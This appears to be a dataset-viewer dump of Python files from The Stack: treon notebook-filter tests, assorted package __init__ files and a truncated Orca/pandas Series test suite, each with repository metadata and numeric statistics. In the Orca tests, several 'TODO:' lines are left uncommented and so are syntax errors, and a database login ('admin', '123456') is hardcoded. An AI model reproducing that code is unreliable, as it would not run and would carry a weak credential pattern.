xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

a07dd7ab373374ba7517072dc3362027e8347470

2,336

py

Python

tests/test_treon.py

bilke/treon

e43325baa64506dd5570c229091d372931c3b9e2

[ "MIT" ]

292

2019-04-04T17:46:46.000Z

2022-02-10T01:39:16.000Z

tests/test_treon.py

bilke/treon

e43325baa64506dd5570c229091d372931c3b9e2

[ "MIT" ]

19

2019-04-04T11:32:58.000Z

2021-03-11T03:04:18.000Z

tests/test_treon.py

bilke/treon

e43325baa64506dd5570c229091d372931c3b9e2

[ "MIT" ]

26

2019-04-07T04:51:00.000Z

2022-03-16T19:59:53.000Z

import os from unittest import mock from treon import treon def test_filter_results_file(): args = { "--exclude": ['resources/basic.ipynb', 'failed'] } results = ['resources/basic.ipynb', 'resources/doctest_failed.ipynb', 'resources/runtime_error.ipynb', 'resources/unittest_failed.ipynb', 'other/resources.ipynb'] filtered = treon.filter_results(results=results, args=args) expected = ['resources/doctest_failed.ipynb', 'resources/runtime_error.ipynb', 'resources/unittest_failed.ipynb', 'other/resources.ipynb'] assert filtered == expected def test_filter_results_folder(): args = {"--exclude": ['resources']} results = ['resources/basic.ipynb', 'resources/doctest_failed.ipynb', 'resources/runtime_error.ipynb', 'resources/unittest_failed.ipynb', 'other/resources.ipynb'] filtered = treon.filter_results(results=results, args=args) expected = ['other/resources.ipynb'] assert filtered == expected def test_filter_results_empty(): args = {"--exclude": ['resources']} results = ['resources/basic.ipynb'] filtered = treon.filter_results(results=results, args=args) expected = [] assert filtered == expected def test_filter_results_homedir(): args = {"--exclude": ['~/resources']} results = [os.path.join(os.path.expanduser("~"), "resources/basic.ipynb")] filtered = treon.filter_results(results=results, args=args) expected = [] assert filtered == expected @mock.patch('os.path.isdir') def test_filter_results_exclude_is_dir(mock_isdir): mock_isdir.return_value = True args = {"--exclude": ["./notebook"]} results = ["./notebook/1.pynb", "./notebook2/1.pynb"] filtered = treon.filter_results(results=results, args=args) expected = ["./notebook2/1.pynb"] assert filtered == expected @mock.patch('os.path.isdir') def test_filter_results_exclude_is_not_dir(mock_isdir): mock_isdir.return_value = False args = {"--exclude": ["./notebook"]} results = ["./notebook1/1.pynb", "./notebook2/1.pynb"] filtered = treon.filter_results(results=results, args=args) expected = [] assert filtered == expected

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0.643836

249

2,336

5.863454

0.176707

0.106849

0.053425

0.082192

0.810959

0.721233

0

0.004897

0.213185

2,336

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null

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null

0

6

a0babff9e049aa2418dfe7655dc9e5e605903dba

28

py

Python

blackdog/osint/IP_Address/Geolocation/__init__.py

Sh-4d0w/blackdog

fefcf6b8b4c6073fa6aaf0bab34ad7e326a1ee79

[ "Apache-2.0" ]

null

blackdog/osint/IP_Address/Geolocation/__init__.py

Sh-4d0w/blackdog

fefcf6b8b4c6073fa6aaf0bab34ad7e326a1ee79

[ "Apache-2.0" ]

null

blackdog/osint/IP_Address/Geolocation/__init__.py

Sh-4d0w/blackdog

fefcf6b8b4c6073fa6aaf0bab34ad7e326a1ee79

[ "Apache-2.0" ]

1

2021-07-17T11:17:59.000Z

from .ipverse import Ipverse

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0.857143

4

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6

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0.107143

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1

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0.96

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true

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null

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1

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0

1

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6

26635f00247d7049eda067f30aba4571a0ef90ad

110

py

Python

amocrm_api_client/rate_limiter/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

amocrm_api_client/rate_limiter/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

amocrm_api_client/rate_limiter/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

from .core import IRateLimiterDecorator from .impl import RateLimiterImpl from .impl import RateLimiterConfig

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0.863636

12

110

7.916667

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0.168421

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0.109091

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6

2666b004042ab034098806cd62d9e220d71a6022

42

py

Python

src/oogeso/utils/__init__.py

oogeso/oogeso

72c05fd02d62b29fc62f60daf4989370fd80cbe1

[ "MIT" ]

2

2021-05-19T13:16:20.000Z

2021-11-05T11:47:11.000Z

src/oogeso/utils/__init__.py

oogeso/oogeso

72c05fd02d62b29fc62f60daf4989370fd80cbe1

[ "MIT" ]

71

2021-06-01T11:03:56.000Z

2022-03-01T09:38:37.000Z

src/oogeso/utils/__init__.py

oogeso/oogeso

72c05fd02d62b29fc62f60daf4989370fd80cbe1

[ "MIT" ]

null

from .util import create_time_series_data

21

41

0.880952

7

42

4.857143

1

0

0.095238

42

1

42

0.894737

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true

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1

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1

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null

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null

0

1

0

1

0

1

0

6

266f2f8ea0aaff9f0a5c8e0031d894e786bae945

38

py

Python

cands/__init__.py

andrewk1/correctandsmooth

ecdb4a472d500140428220ca5382f2e4d633743b

[ "MIT" ]

4

2022-01-10T06:31:47.000Z

2022-03-28T16:31:24.000Z

cands/__init__.py

andrewk1/correctandsmooth

ecdb4a472d500140428220ca5382f2e4d633743b

[ "MIT" ]

null

cands/__init__.py

andrewk1/correctandsmooth

ecdb4a472d500140428220ca5382f2e4d633743b

[ "MIT" ]

null

from .cands import correct_and_smooth

19

37

0.868421

6

38

5.166667

1

0

0.105263

38

1

38

0.911765

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

cd9a29bb0b5cf5d7cb91772f0d0390a46f9c5ef9

25

py

Python

wordsToNumbers/corpus/__init__.py

VoicuTomut/Qountry

841467eca5704fd24c49000668f739cae8155b59

[ "MIT" ]

null

wordsToNumbers/corpus/__init__.py

VoicuTomut/Qountry

841467eca5704fd24c49000668f739cae8155b59

[ "MIT" ]

null

wordsToNumbers/corpus/__init__.py

VoicuTomut/Qountry

841467eca5704fd24c49000668f739cae8155b59

[ "MIT" ]

null

from .base import Corpus

12.5

24

0.8

4

25

5

1

0

0.16

25

2

24

12.5

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

26a27cebb415623f10017806928c6aa3acde9986

64

py

Python

source/__init__.py

top/media_bridging_py3

dd5de912c07634a073768d6f0b4a6c78d3f39c98

[ "MIT" ]

null

source/__init__.py

top/media_bridging_py3

dd5de912c07634a073768d6f0b4a6c78d3f39c98

[ "MIT" ]

null

source/__init__.py

top/media_bridging_py3

dd5de912c07634a073768d6f0b4a6c78d3f39c98

[ "MIT" ]

null

from source.feed import Feed from source.twitter import Twitter

21.333333

34

0.84375

10

64

5.4

0.5

0.37037

0

0.125

64

2

35

32

0.964286

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

f8055fa5b83e1c50757ece0ebf8ecc180f3f5ff5

86

py

Python

simuvex/simuvex/plugins/cgc.py

Ruide/angr-dev

964dc80c758e25c698c2cbcc454ef5954c5fa0a0

[ "BSD-2-Clause" ]

86

2015-08-06T23:25:07.000Z

2022-02-17T14:58:22.000Z

simuvex/simuvex/plugins/cgc.py

Ruide/angr-dev

964dc80c758e25c698c2cbcc454ef5954c5fa0a0

[ "BSD-2-Clause" ]

132

2015-09-10T19:06:59.000Z

2018-10-04T20:36:45.000Z

simuvex/simuvex/plugins/cgc.py

Ruide/angr-dev

964dc80c758e25c698c2cbcc454ef5954c5fa0a0

[ "BSD-2-Clause" ]

80

2015-08-07T10:30:20.000Z

2020-03-21T14:45:28.000Z

print '... Importing simuvex/plugins/cgc.py ...' from angr.state_plugins.cgc import *

28.666667

48

0.732558

12

86

5.166667

0.833333

0.322581

0

0.104651

86

2

49

43

0.805195

0

0.465116

0.255814

0

null

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0.5

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null

0

1

0

1

0

1

0

6

f8817a28d516e69879b75c486cd30550fda6b843

34

py

Python

material_mechanics/strength/__init__.py

kemeen/material_mechanics

00442df2c41a43285708bfdb288348eb3aa50775

[ "MIT" ]

4

2019-03-06T02:02:21.000Z

2021-04-18T09:18:50.000Z

material_mechanics/strength/__init__.py

kemeen/material_mechanics

00442df2c41a43285708bfdb288348eb3aa50775

[ "MIT" ]

1

2019-01-10T12:00:19.000Z

material_mechanics/strength/__init__.py

kemeen/material_mechanics

00442df2c41a43285708bfdb288348eb3aa50775

[ "MIT" ]

2

2020-01-25T01:59:36.000Z

2022-03-12T03:21:41.000Z

from .puck import PuckStrengthSet

17

33

0.852941

4

34

7.25

1

0

0.117647

34

1

34

0.966667

0

1

0

true

0

1

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1

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1

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null

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1

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null

0

1

0

1

0

1

0

6

f89488f78bc40d623fe5346c82aaa711b129e05d

129

py

Python

ramda/drop_repeats.py

jakobkolb/ramda.py

982b2172f4bb95b9a5b09eff8077362d6f2f0920

[ "MIT" ]

56

2018-08-06T08:44:58.000Z

2022-03-17T09:49:03.000Z

ramda/drop_repeats.py

jakobkolb/ramda.py

982b2172f4bb95b9a5b09eff8077362d6f2f0920

[ "MIT" ]

28

2019-06-17T11:09:52.000Z

2022-02-18T16:59:21.000Z

ramda/drop_repeats.py

jakobkolb/ramda.py

982b2172f4bb95b9a5b09eff8077362d6f2f0920

[ "MIT" ]

5

2019-09-18T09:24:38.000Z

2021-07-21T08:40:23.000Z

from ramda.drop_repeats_with import drop_repeats_with from ramda.equals import equals drop_repeats = drop_repeats_with(equals)

21.5

53

0.860465

20

129

5.2

0.35

0.423077

0.432692

0

0.100775

129

5

54

25.8

0.896552

0

1

0

false

0

0.666667

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0.666667

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1

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0

null

0

1

0

1

0

6

f8a4289af5d407407d3994f181bc7a70ef703782

46

py

Python

ap-python/ap_python/aspenplus/__init__.py

bshaoCN/python-automation

fc02d92ec1870bc39ced8923b905930f4e697e80

[ "MIT" ]

1

2019-06-28T13:21:39.000Z

ap-python/ap_python/aspenplus/__init__.py

bshaoCN/python-automation

fc02d92ec1870bc39ced8923b905930f4e697e80

[ "MIT" ]

null

ap-python/ap_python/aspenplus/__init__.py

bshaoCN/python-automation

fc02d92ec1870bc39ced8923b905930f4e697e80

[ "MIT" ]

null

from .application import Application, Version

23

45

0.847826

5

46

7.8

0.8

0

0.108696

46

1

46

0.95122

0

1

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true

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null

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null

0

1

0

1

0

1

0

6

f8d247df87c07289831f5dba7a418d8cdcf0dcfd

60,399

py

Python

tests/orca_unit_testing/test_series.py

jiajiaxu123/Orca

e86189e70c1d0387816bb98b8047a6232fbda9df

[ "Apache-2.0" ]

20

2019-12-02T11:49:12.000Z

2021-12-24T19:34:32.000Z

tests/orca_unit_testing/test_series.py

jiajiaxu123/Orca

e86189e70c1d0387816bb98b8047a6232fbda9df

[ "Apache-2.0" ]

null

tests/orca_unit_testing/test_series.py

jiajiaxu123/Orca

e86189e70c1d0387816bb98b8047a6232fbda9df

[ "Apache-2.0" ]

5

2019-12-02T12:16:22.000Z

2021-10-22T02:27:47.000Z

import unittest import orca import os.path as path from setup.settings import * from pandas.util.testing import * class Csv: pdf_csv = None odf_csv = None class SeriesTest(unittest.TestCase): def setUp(self): self.PRECISION = 5 @classmethod def setUpClass(cls): # configure data directory DATA_DIR = path.abspath(path.join(__file__, "../setup/data")) fileName = 'USPricesSample.csv' data = os.path.join(DATA_DIR, fileName) data = data.replace('\\', '/') # connect to a DolphinDB server orca.connect(HOST, PORT, "admin", "123456") Csv.pdf_csv = pd.read_csv(data) Csv.odf_csv = orca.read_csv(data) @property def ps(self): return pd.Series([1, 2, 3, 4, 5, 6, 7], name='x') @property def os(self): return orca.Series([1, 2, 3, 4, 5, 6, 7], name='x') @property def psa(self): return pd.Series([10, 1, 19, np.nan], index=['a', 'b', 'c', 'd']) @property def psb(self): return pd.Series([-1, np.nan, 1, np.nan], index=['a', 'b', 'd', 'e']) def test_series_constructor(self): ps = pd.Series([1, 2, 3, 4, 5, 6, 7], name='x') os = orca.Series([1, 2, 3, 4, 5, 6, 7], name='x').to_pandas() assert_series_equal(ps, os) def test_series_constructor_hasNan(self): ps = pd.Series([7, np.NaN, 1, np.NaN]) os = orca.Series([7, np.NaN, 1, np.NaN]).to_pandas() assert_series_equal(ps, os) def test_series_constructor_hasFloat(self): ps = pd.Series([7.4, 3.1415826535, np.NaN, -3.4], name='x') os = orca.Series([7.4, 3.1415826535, np.NaN, -3.4], name='x').to_pandas() assert_series_equal(ps, os) def test_series_constructor_with_index(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]).to_pandas() assert_series_equal(ps, os) # def test_series_constructor_from_dict(self): # d = {'a': [1, 2, 3], 'b': [4, 5, 6]} # ps = pd.Series(d) # os = orca.Series(d) # assert_series_equal(ps, os) def test_series_constructor_from_scalar(self): ps = pd.Series(1) os = orca.Series(1).to_pandas() assert_series_equal(ps, os) def test_series_attributes_index(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) assert_index_equal(ps.index, os.index.to_pandas()) ps = pd.Series([7, 2, 1, 4], index=['a', 'b', 'c', 'd']) os = orca.Series([7, 2, 1, 4], index=['a', 'b', 'c', 'd']) assert_index_equal(ps.index, os.index.to_pandas()) ps = pd.Series([7, 2, 1, 4], pd.date_range("20190101", periods=4, freq="d")) os = orca.Series([7, 2, 1, 4], orca.date_range("20190101", periods=4, freq="d")) assert_index_equal(ps.index, os.index.to_pandas()) def test_series_attributes_array(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) # TODO: pandas.Seires 的array属性返回一个pandas Array，而orca.Series的array属性返回一个list self.assertEqual(list(ps.array), os.array) def test_series_attributes_values(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) assert_numpy_array_equal(ps.values, os.values) ps = pd.Series(['a', 'b', 'c', 'd']) os = orca.Series(['a', 'b', 'c', 'd']) assert_numpy_array_equal(ps.values, os.values) ps = pd.Series(pd.date_range("20190101", periods=10, freq="d")) # os = orca.Series(pd.date_range("20190101", periods=10, freq="d")) os = orca.Series(ps) assert_numpy_array_equal(ps.values, os.values) def test_series_attributes_dtype(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.dtype, os.dtype) ps = pd.Series(['a', 'b', 'c', 'd']) os = orca.Series(['a', 'b', 'c', 'd']) self.assertEqual(ps.dtype, os.dtype) ps = pd.Series(pd.date_range("20190101", periods=10, freq="d")) # os = orca.Series(pd.date_range("20190101", periods=10, freq="d")) os = orca.Series(ps) self.assertEqual(ps.dtype, os.dtype) def test_series_attributes_shape(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.shape, os.shape) def test_series_attributes_nbytes(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) def test_series_attributes_ndim(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.ndim, os.ndim) def test_series_attributes_size(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.size, os.size) def test_series_attributes_T(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) assert_series_equal(ps.T, os.T.to_pandas()) def test_series_attributes_hasnans(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.hasnans, os.hasnans) ps = pd.Series([7, 2, 1, np.nan], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, np.nan], index=[3, 1, 5, 5]) self.assertEqual(ps.hasnans, os.hasnans) def test_series_attributes_dtypes(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) self.assertEqual(ps.dtypes, os.dtypes) def test_series_attributes_name(self): ps = pd.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) os = orca.Series([7, 2, 1, 4], index=[3, 1, 5, 5]) ps.name = "S1" os.name = "S1" self.assertEqual(ps.name, os.name) def test_series_binary_operator_function_series_hasnan(self): ps = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) os = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) # TODO: series_hasNan: fail to initialize a series with np.nan values # psb = pd.Series([10, 1, 19, np.nan], index=['a', 'b', 'c', 'd']) # osb = orca.Series([10, 1, 19, np.nan], index=['a', 'b', 'c', 'd']) # c1 = ps + psb # c2 = (os + osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps - psb # c2 = (os - osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps * psb # c2 = (os * osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps / psb # c2 = (os / osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps ** psb # c2 = (os ** osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps // psb # c2 = (os // osb).to_pandas() # assert_series_equal(c1, c2) # c1 = ps % psb # c2 = (os % osb).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_add_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps + 1 c2 = (os + 1).to_pandas() assert_series_equal(c1, c2) # TODO: defalt axis=0: orca.Series.add(1) # c1 = ps.add(1) # c2 = os.add(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_add_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps + [1, 2, 12, 10] c2 = (os + [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) c1 = ps.add([1, 2, 12, 10]) # TODO: orca.Series.add([1, 2, 12, 10]) # c2 = os.add([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_add_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps + psb c2 = (os + osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps + (1 / psb) c2 = (os + (1 / osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps * [1, 3, 5, 4]) + (1 / psb) c2 = ((os * [1, 3, 5, 4]) + (1 / osb)).to_pandas() assert_series_equal(c1, c2) c1 = pdf["float"] + pdf["int"] c2 = (odf["float"] + odf["int"]).to_pandas() assert_series_equal(c1, c2) # series with series # default axis=0 c1 = ps.add(psb) c2 = os.add(osb).to_pandas() assert_series_equal(c1, c2) # specify axis=0 c1 = ps.add(psb, axis=0) c2 = os.add(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected # TODO: ValueError expected: orca.Series.add(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.add(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.add(osb, axis=1) def test_series_binary_operator_function_sub_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps - 1 c2 = (os - 1).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.sub(1) # c1 = ps.sub(1) # c2 = os.sub(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_sub_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps - [1, 2, 12, 10] c2 = (os - [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) c1 = ps.sub([1, 2, 12, 10]) TODO: orca.Series.sub([1, 2, 12, 10]) # c2 = os.sub([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_sub_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps - psb c2 = (os - osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps - (1 / psb) c2 = (os - (1 / osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps * [1, 3, 5, 4]) - (1 / psb) c2 = ((os * [1, 3, 5, 4]) - (1 / osb)).to_pandas() assert_series_equal(c1, c2) TODO: odf["float"] - odf["int"] # c1 = pdf["float"] - pdf["int"] # c2 = (odf["float"] - odf["int"]).to_pandas() # assert_series_equal(c1, c2) # series with series # default axis=0 TODO: orca.Series.sub(orca.Series()) # c1 = ps.sub(psb) # c2 = os.sub(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.sub(psb, axis=0) c2 = os.sub(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.sub(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.sub(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.sub(osb, axis=1) def test_series_binary_operator_function_mul_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps * 1 c2 = (os * 1).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.mul(1) # c1 = ps.mul(1) # c2 = os.mul(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_mul_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps * [1, 2, 12, 10] c2 = (os * [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.mul([1, 2, 12, 10]) # c1 = ps.mul([1, 2, 12, 10]) # c2 = os.mul([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_mul_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps * psb c2 = (os * osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps * (1 / psb) c2 = (os * (1 / osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps * [1, 3, 5, 4]) * (1 / psb) c2 = ((os * [1, 3, 5, 4]) * (1 / osb)).to_pandas() assert_series_equal(c1, c2) TODO: odf["float"] * odf["int"] # c1 = pdf["float"] * pdf["int"] # c2 = (odf["float"] * odf["int"]).to_pandas() # assert_series_equal(c1, c2) # series with series # default axis=0 TODO: orca.Series.mul(orca.Series()) # c1 = ps.mul(psb) # c2 = os.mul(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.mul(psb, axis=0) c2 = os.mul(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.mul(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.mul(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.mul(osb, axis=1) def test_series_binary_operator_function_div_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps / 1 c2 = (os / 1).to_pandas() assert_series_equal(c1, c2) # TODO: orca.Series.div(1) # c1 = ps.div(1) # c2 = os.div(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_div_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) c1 = ps / [1, 2, 12, 10] c2 = (os / [1, 2, 12, 10]).to_pandas() assert_series_equal(c1, c2) TODO: orca.Series.div([1, 2, 12, 10]) # c1 = ps.div([1, 2, 12, 10]) # c2 = os.div([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_div_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) pdf = pd.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) odf = orca.DataFrame( {'float': [1.0, 2.0, 3.5, 6.5], 'int': [1, 2, 7, 4], 'datetime': pd.date_range('2019-01-02', periods=4), 'string': ['foo', 'ss', 'sw', 'qa']}, index=['a', 'b', 'c', 'c']) # series with series c1 = ps / psb c2 = (os / osb).to_pandas() assert_series_equal(c1, c2) # series with series expression c1 = ps / (1 + psb) c2 = (os / (1 + osb)).to_pandas() assert_series_equal(c1, c2) # series expression with series expression c1 = (ps - [1, 3, 5, 4]) / (1 + psb) c2 = ((os - [1, 3, 5, 4]) / (1 + osb)).to_pandas() assert_series_equal(c1, c2) TODO: odf["float"] / odf["int"] # c1 = pdf["float"] / pdf["int"] # c2 = (odf["float"] / odf["int"]).to_pandas() # assert_series_equal(c1, c2) # default axis=0 TODO: orca.Series.div(orca.Series()) # c1 = ps.div(psb) # c2 = os.div(osb).to_pandas() # assert_series_equal(c1, c2) # specify axis=0 c1 = ps.div(psb, axis=0) c2 = os.div(osb, axis=0).to_pandas() assert_series_equal(c1, c2) # specify axis=1, ValueError expected TODO: orca.Series.div(orca.Series(), axis=1) # msg = "No axis named 1 for object type <class 'pandas.core.series.Series'>" # with self.assertRaisesRegex(ValueError, msg): # ps.div(psb, axis=1) # with self.assertRaisesRegex(ValueError, msg): # os.div(osb, axis=1) def test_series_binary_operator_function_truediv_scalar(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) # TODO: orca.Series.truediv(1) # c1 = ps.truediv(1) # c2 = os.truediv(1).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_truediv_list(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) TODO: orca.Series.truediv([1, 2, 12, 10]) # c1 = ps.truediv([1, 2, 12, 10]) # c2 = os.truediv([1, 2, 12, 10]).to_pandas() # assert_series_equal(c1, c2) def test_series_binary_operator_function_truediv_series(self): ps = pd.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) os = orca.Series([10, 1, 19, -5], index=['a', 'b', 'c', 'd']) psb = pd.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) osb = orca.Series([1, 2, 12, 10, 11], index=['a', 'a', 'b', 'c', 'd']) # default axis=0 TODO: orca.Series.truediv(orca.Series()) # c1 = ps.truediv(psb) # c2 = 